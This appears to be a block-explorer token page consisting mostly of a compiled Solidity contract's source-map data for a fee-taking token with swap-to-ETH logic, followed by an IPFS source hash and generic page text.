19:0;;;11548:13;;11542:19;:43;;;;-1:-1:-1;;;;;;11565:20:0;;11580:4;11565:20;;11542:43;11539:174;;;11618:79;11693:3;11618:70;11640:16;;11630:9;;:26;11629:58;;11672:15;;11629:58;;;11658:13;;11618:6;;:10;:70::i;:79::-;11606:91;;11539:174;11778:4;11729:28;6621:16;;;:7;:16;;;;;;11803:47;11822:4;11828:2;11832:6;11840:9;11803:18;:47::i;:::-;11799:347;;;11871:67;11888:49;11892:6;11899:37;11903:20;11924:11;;11899:3;:37::i;:::-;11888:3;:49::i;:::-;11871:16;:67::i;:::-;11986:21;12029:22;;12026:105;;12076:35;12089:21;12076:12;:35::i;:::-;11852:294;11799:347;10465:1692;10401:1756;-1:-1:-1;;;;;12183:13:0;;;;;;:7;:13;;;;;;:25;;12201:6;12183:17;:25::i;:::-;-1:-1:-1;;;;;12169:13:0;;;;;;:7;:13;;;;;:39;12231:38;12247:21;:6;12258:9;12247:10;:21::i;:::-;-1:-1:-1;;;;;12231:11:0;;;;;;:7;:11;;;;;;;:15;:38::i;:::-;-1:-1:-1;;;;;12219:11:0;;;;;;;:7;:11;;;;;:50;;;;12285:41;;;12304:21;:6;12315:9;12304:10;:21::i;:::-;12285:41;;1549:25:1;;;1537:2;1522:18;12285:41:0;;;;;;;10131:2203;10062:2272;;;:::o;966:190::-;1052:7;1088:12;1080:6;;;;1072:29;;;;-1:-1:-1;;;1072:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1112:9:0;1124:5;1128:1;1124;:5;:::i;:::-;1112:17;966:190;-1:-1:-1;;;;;966:190:0:o;7812:483::-;4726:6;:13;;-1:-1:-1;;4726:13:0;4735:4;4726:13;;;7914:16:::1;::::0;;7928:1:::1;7914:16:::0;;;;;::::1;::::0;;-1:-1:-1;;7914:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;7914:16:0::1;7890:40;;7959:4;7941;7946:1;7941:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7941:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;7985:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;7985:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;7941:7;;7985:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7975:4;7980:1;7975:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7975:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;8050:15:::1;::::0;8018:62:::1;::::0;8035:4:::1;::::0;8050:15:::1;8068:11:::0;8018:8:::1;:62::i;:::-;8091:15;::::0;:196:::1;::::0;-1:-1:-1;;;8091:196:0;;-1:-1:-1;;;;;8091:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;8172:11;;8091:15:::1;::::0;8214:4;;8241::::1;::::0;8261:15:::1;::::0;8091:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4762:6:0;:14;;-1:-1:-1;;4762:14:0;;;-1:-1:-1;;;;7812:483:0:o;13687:92::-;13744:10;;:27;;-1:-1:-1;;;;;13744:10:0;;;;:27;;;;;13764:6;;13744:10;:27;:10;:27;13764:6;13744:10;:27;;;;;;;;;;;;;;;;;;;1164:246;1222:7;1246:6;1242:47;;-1:-1:-1;1276:1:0;1269:8;;1242:47;1299:9;1311:5;1315:1;1311;:5;:::i;:::-;1299:17;-1:-1:-1;1344:1:0;1335:5;1339:1;1299:17;1335:5;:::i;:::-;:10;1327:56;;;;-1:-1:-1;;;1327:56:0;;14500:2:1;1327:56:0;;;14482:21:1;14539:2;14519:18;;;14512:30;14578:34;14558:18;;;14551:62;-1:-1:-1;;;14629:18:1;;;14622:31;14670:19;;1327:56:0;14298:397:1;1327:56:0;1401:1;1164:246;-1:-1:-1;;;1164:246:0:o;1418:132::-;1476:7;1503:39;1507:1;1510;1503:39;;;;;;;;;;;;;;;;;:3;:39::i;12605:903::-;12755:12;;12818:4;12712;6621:16;;;:7;:16;;;;;;;;;-1:-1:-1;;;;;12902:26:0;;;;:20;:26;;;;;;12712:4;;12745:22;;;;;12800:40;;;;12712:4;;;;12902:26;;12899:169;;;-1:-1:-1;12956:6:0;;-1:-1:-1;12974:4:0;12899:169;;;-1:-1:-1;13047:9:0;;-1:-1:-1;13029:4:0;12899:169;13083:10;;13080:137;;-1:-1:-1;;;;;13124:16:0;;;;;;:7;:16;;;;;;:30;;13145:8;13124:20;:30::i;:::-;-1:-1:-1;;;;;13107:16:0;;;;;;;:7;:16;;;;;;;:47;;;;13172:33;;;;;;;;;;13195:9;1549:25:1;;1537:2;1522:18;;1403:177;13172:33:0;;;;;;;;13080:137;13237:6;;;;13236:7;:32;;;;-1:-1:-1;13257:11:0;;;;;;;13236:32;:57;;;;-1:-1:-1;13282:11:0;;-1:-1:-1;;;13282:11:0;;;;13236:57;:79;;;;;13307:8;13236:79;:121;;;;-1:-1:-1;;;;;;13330:27:0;;;;;;:21;:27;;;;;;;;13329:28;13236:121;:153;;;;-1:-1:-1;13376:13:0;;-1:-1:-1;;;;;13370:19:0;;;13376:13;;13370:19;13236:153;:195;;;;;13413:18;;13403:9;;:28;13236:195;:236;;;;-1:-1:-1;;;;;;13446:26:0;;;;;;:20;:26;;;;;;;;13445:27;13236:236;:264;;;;;13486:14;13236:264;13229:271;12605:903;-1:-1:-1;;;;;;;;;12605:903:0:o;8861:98::-;8918:7;8945:1;8943;:3;8942:9;;8950:1;8942:9;;;-1:-1:-1;8948:1:0;8861:98;-1:-1:-1;8861:98:0:o;822:136::-;880:7;907:43;911:1;914;907:43;;;;;;;;;;;;;;;;;:3;:43::i;635:179::-;693:7;;725:5;729:1;725;:5;:::i;:::-;713:17;;754:1;749;:6;;741:46;;;;-1:-1:-1;;;741:46:0;;14902:2:1;741:46:0;;;14884:21:1;14941:2;14921:18;;;14914:30;14980:29;14960:18;;;14953:57;15027:18;;741:46:0;14700:351:1;1558:189:0;1644:7;1679:12;1672:5;1664:28;;;;-1:-1:-1;;;1664:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1703:9:0;1715:5;1719:1;1715;:5;:::i;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;752:134;820:20;;849:31;820:20;849:31;:::i;:::-;752:134;;;:::o;891:315::-;959:6;967;1020:2;1008:9;999:7;995:23;991:32;988:52;;;1036:1;1033;1026:12;988:52;1075:9;1062:23;1094:31;1119:5;1094:31;:::i;:::-;1144:5;1196:2;1181:18;;;;1168:32;;-1:-1:-1;;;891:315:1:o;1585:456::-;1662:6;1670;1678;1731:2;1719:9;1710:7;1706:23;1702:32;1699:52;;;1747:1;1744;1737:12;1699:52;1786:9;1773:23;1805:31;1830:5;1805:31;:::i;:::-;1855:5;-1:-1:-1;1912:2:1;1897:18;;1884:32;1925:33;1884:32;1925:33;:::i;:::-;1585:456;;1977:7;;-1:-1:-1;;;2031:2:1;2016:18;;;;2003:32;;1585:456::o;2235:127::-;2296:10;2291:3;2287:20;2284:1;2277:31;2327:4;2324:1;2317:15;2351:4;2348:1;2341:15;2367:1121;2451:6;2482:2;2525;2513:9;2504:7;2500:23;2496:32;2493:52;;;2541:1;2538;2531:12;2493:52;2581:9;2568:23;2610:18;2651:2;2643:6;2640:14;2637:34;;;2667:1;2664;2657:12;2637:34;2705:6;2694:9;2690:22;2680:32;;2750:7;2743:4;2739:2;2735:13;2731:27;2721:55;;2772:1;2769;2762:12;2721:55;2808:2;2795:16;2830:2;2826;2823:10;2820:36;;;2836:18;;:::i;:::-;2882:2;2879:1;2875:10;2914:2;2908:9;2977:2;2973:7;2968:2;2964;2960:11;2956:25;2948:6;2944:38;3032:6;3020:10;3017:22;3012:2;3000:10;2997:18;2994:46;2991:72;;;3043:18;;:::i;:::-;3079:2;3072:22;3129:18;;;3163:15;;;;-1:-1:-1;3205:11:1;;;3201:20;;;3233:19;;;3230:39;;;3265:1;3262;3255:12;3230:39;3289:11;;;;3309:148;3325:6;3320:3;3317:15;3309:148;;;3391:23;3410:3;3391:23;:::i;:::-;3379:36;;3342:12;;;;3435;;;;3309:148;;;3476:6;2367:1121;-1:-1:-1;;;;;;;;2367:1121:1:o;3493:247::-;3552:6;3605:2;3593:9;3584:7;3580:23;3576:32;3573:52;;;3621:1;3618;3611:12;3573:52;3660:9;3647:23;3679:31;3704:5;3679:31;:::i;3953:388::-;4021:6;4029;4082:2;4070:9;4061:7;4057:23;4053:32;4050:52;;;4098:1;4095;4088:12;4050:52;4137:9;4124:23;4156:31;4181:5;4156:31;:::i;:::-;4206:5;-1:-1:-1;4263:2:1;4248:18;;4235:32;4276:33;4235:32;4276:33;:::i;:::-;4328:7;4318:17;;;3953:388;;;;;:::o;4346:180::-;4405:6;4458:2;4446:9;4437:7;4433:23;4429:32;4426:52;;;4474:1;4471;4464:12;4426:52;-1:-1:-1;4497:23:1;;4346:180;-1:-1:-1;4346:180:1:o;4531:127::-;4592:10;4587:3;4583:20;4580:1;4573:31;4623:4;4620:1;4613:15;4647:4;4644:1;4637:15;4663:422;4752:1;4795:5;4752:1;4809:270;4830:7;4820:8;4817:21;4809:270;;;4889:4;4885:1;4881:6;4877:17;4871:4;4868:27;4865:53;;;4898:18;;:::i;:::-;4948:7;4938:8;4934:22;4931:55;;;4968:16;;;;4931:55;5047:22;;;;5007:15;;;;4809:270;;;4813:3;4663:422;;;;;:::o;5090:806::-;5139:5;5169:8;5159:80;;-1:-1:-1;5210:1:1;5224:5;;5159:80;5258:4;5248:76;;-1:-1:-1;5295:1:1;5309:5;;5248:76;5340:4;5358:1;5353:59;;;;5426:1;5421:130;;;;5333:218;;5353:59;5383:1;5374:10;;5397:5;;;5421:130;5458:3;5448:8;5445:17;5442:43;;;5465:18;;:::i;:::-;-1:-1:-1;;5521:1:1;5507:16;;5536:5;;5333:218;;5635:2;5625:8;5622:16;5616:3;5610:4;5607:13;5603:36;5597:2;5587:8;5584:16;5579:2;5573:4;5570:12;5566:35;5563:77;5560:159;;;-1:-1:-1;5672:19:1;;;5704:5;;5560:159;5751:34;5776:8;5770:4;5751:34;:::i;:::-;5821:6;5817:1;5813:6;5809:19;5800:7;5797:32;5794:58;;;5832:18;;:::i;:::-;5870:20;;5090:806;-1:-1:-1;;;5090:806:1:o;5901:140::-;5959:5;5988:47;6029:4;6019:8;6015:19;6009:4;5988:47;:::i;6046:168::-;6086:7;6152:1;6148;6144:6;6140:14;6137:1;6134:21;6129:1;6122:9;6115:17;6111:45;6108:71;;;6159:18;;:::i;:::-;-1:-1:-1;6199:9:1;;6046:168::o;6219:356::-;6421:2;6403:21;;;6440:18;;;6433:30;6499:34;6494:2;6479:18;;6472:62;6566:2;6551:18;;6219:356::o;6580:127::-;6641:10;6636:3;6632:20;6629:1;6622:31;6672:4;6669:1;6662:15;6696:4;6693:1;6686:15;6712:135;6751:3;-1:-1:-1;;6772:17:1;;6769:43;;;6792:18;;:::i;:::-;-1:-1:-1;6839:1:1;6828:13;;6712:135::o;7204:251::-;7274:6;7327:2;7315:9;7306:7;7302:23;7298:32;7295:52;;;7343:1;7340;7333:12;7295:52;7375:9;7369:16;7394:31;7419:5;7394:31;:::i;8381:306::-;8469:6;8477;8485;8538:2;8526:9;8517:7;8513:23;8509:32;8506:52;;;8554:1;8551;8544:12;8506:52;8583:9;8577:16;8567:26;;8633:2;8622:9;8618:18;8612:25;8602:35;;8677:2;8666:9;8662:18;8656:25;8646:35;;8381:306;;;;;:::o;8971:277::-;9038:6;9091:2;9079:9;9070:7;9066:23;9062:32;9059:52;;;9107:1;9104;9097:12;9059:52;9139:9;9133:16;9192:5;9185:13;9178:21;9171:5;9168:32;9158:60;;9214:1;9211;9204:12;12473:128;12513:3;12544:1;12540:6;12537:1;12534:13;12531:39;;;12550:18;;:::i;:::-;-1:-1:-1;12586:9:1;;12473:128::o;12961:125::-;13001:4;13029:1;13026;13023:8;13020:34;;;13034:18;;:::i;:::-;-1:-1:-1;13071:9:1;;12961:125::o;13091:980::-;13353:4;13401:3;13390:9;13386:19;13432:6;13421:9;13414:25;13458:2;13496:6;13491:2;13480:9;13476:18;13469:34;13539:3;13534:2;13523:9;13519:18;13512:31;13563:6;13598;13592:13;13629:6;13621;13614:22;13667:3;13656:9;13652:19;13645:26;;13706:2;13698:6;13694:15;13680:29;;13727:1;13737:195;13751:6;13748:1;13745:13;13737:195;;;13816:13;;-1:-1:-1;;;;;13812:39:1;13800:52;;13907:15;;;;13872:12;;;;13848:1;13766:9;13737:195;;;-1:-1:-1;;;;;;;13988:32:1;;;;13983:2;13968:18;;13961:60;-1:-1:-1;;;14052:3:1;14037:19;14030:35;13949:3;13091:980;-1:-1:-1;;;13091:980:1:o;14076:217::-;14116:1;14142;14132:132;;14186:10;14181:3;14177:20;14174:1;14167:31;14221:4;14218:1;14211:15;14249:4;14246:1;14239:15;14132:132;-1:-1:-1;14278:9:1;;14076:217::o

Swarm Source

ipfs://44953a67c1336b251fcf2f3a023d850755b1dd2e31dec359742cf9001d72cec4
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.